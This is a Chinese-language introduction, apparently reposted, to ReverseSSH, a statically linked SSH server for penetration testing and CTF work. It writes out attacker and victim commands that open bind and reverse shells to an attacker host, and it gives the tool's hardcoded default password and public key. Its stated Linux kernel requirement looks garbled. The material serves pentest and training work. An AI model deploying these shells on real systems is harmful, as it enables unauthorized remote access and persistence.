ReverseSSH:帶有反向Shell功能的靜態鏈接SSH服務器
VSole2021-10-10 10:26:43
關于ReverseSSH
ReverseSSH是一款功能強大的靜態鏈接SSH服務器,ReverseSSH帶有反向Shell功能,可以幫助廣大研究人員提供強大的遠程訪問功能。該工具主要適用于滲透測試、HackTheBox挑戰或CTF比賽等場景。
功能介紹
常見的Shell工具一般都缺少一些方便的功能,比如說完全交互式訪問、Tab鍵補全或歷史記錄等。在ReverseSSH的幫助下,我們可以輕松在目標主機上部署一臺輕量級SSH服務器(<1.5MB),并使用各種強大功能,比如說文件傳輸和端口轉發等等。
ReverseSSH彌補滲透測試人員在目標設備初始訪問點和本地權限提升操作之間的間隔距離,其主要優勢如下:
完全交互式Shell訪問;
通過SFTP實現文件傳輸功能;
本地/遠程/動態端口轉發;
可以當作綁定/反向Shell使用;
支持Unix和Windows操作系統;
工具要求
本工具的正常使用要求主機系統安裝并配置好Golang環境。
系統要求
Linux:內核版本6.23或更高版本;
Windows:Windows Server 2008 R2或更高版本、Windows 7或更高版本;
編譯環境要求
Golang 1.15;
upx(apt install upx-ucl);
工具安裝
廣大研究人員可以使用下列命令將該項目源碼克隆至本地,并進行項目構建:
git clone https://github.com/Fahrj/reverse-ssh.git
或者,可以直接訪問該項目的【Releases頁面】下載編譯好的可執行文件。

工具使用
當ReverseSSH運行之后,我們就可以使用任意用戶名以及默認密碼“letmeinbrudipls”來與服務器建立連接了。簡而言之,我們可以直接將ReverseSSH當作一臺SSH服務器來使用:
# 完整交互式Shell訪問ssh -p <RPORT> <RHOST># 簡單的命令執行ssh -p <RPORT> <RHOST> whoami# 完整的文件傳輸sftp -P <RPORT> <RHOST># 端口9050上作為SOCKS代理的動態端口轉發ssh -p <RPORT> -D 9050 <RHOST>
綁定Shell場景
# 目標主機victim$./reverse-ssh # 攻擊者主機(默認密碼: letmeinbrudipls)attacker$ssh -p 31337 <LHOST>
反向Shell場景
# 攻擊者主機attacker$./reverse-ssh -l :<LPORT># 目標主機victim$./reverse-ssh -p <LPORT> <LHOST>victim$./reverse-ssh <USER>@<LHOST># 攻擊者主機(默認密碼: letmeinbrudipls)attacker$ssh -p 8888 127.0.0.1attacker$ssh target
工具完整使用
reverseSSH v1.1.0 Copyright (C) 2021 Ferdinor <ferdinor@mailbox.org>Usage: reverse-ssh [options] [<user>@]<target>Examples: Bind: reverse-ssh reverse-ssh -v -l :4444 Reverse: reverse-ssh 192.168.0.1 reverse-ssh kali@192.168.0.1 reverse-ssh -p 31337 192.168.0.1 reverse-ssh -v -b 0 kali@192.168.0.2 Options: -s, Shell to use for incoming connections, e.g. /bin/bash; (default: /bin/bash) for windows this can only be used to give a path to 'ssh-shellhost.exe' to enhance pre-Windows10 shells (e.g. '-s ssh-shellhost.exe' if in same directory) -l, Bind scenario only: listen at this address:port (default: :31337) -p, Reverse scenario only: ssh port at home (default: 22) -b, Reverse scenario only: bind to this port after dialling home (default: 8888) -v, Emit log output <target> Optional target which enables the reverse scenario. Can be prepended with <user>@ to authenticate as a different user than 'reverse' while dialling home.Credentials: Accepting all incoming connections from any user with either of the following: * Password "letmeinbrudipls" * PubKey "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKlbJwr+ueQ0gojy4QWr2sUWcNC/Y9eV9RdY3PLO7Bk/ Brudi"
項目地址
ReverseSSH:【點擊閱讀原文】
參考資料
https://github.com/Fahrj/reverse-ssh/blob/master/id_reverse-ssh
https://github.com/golang/go/wiki/MinimumRequirements#operating-systems
https://github.com/PowerShell/Win32-OpenSSH/releases/latest?
VSole
網絡安全專家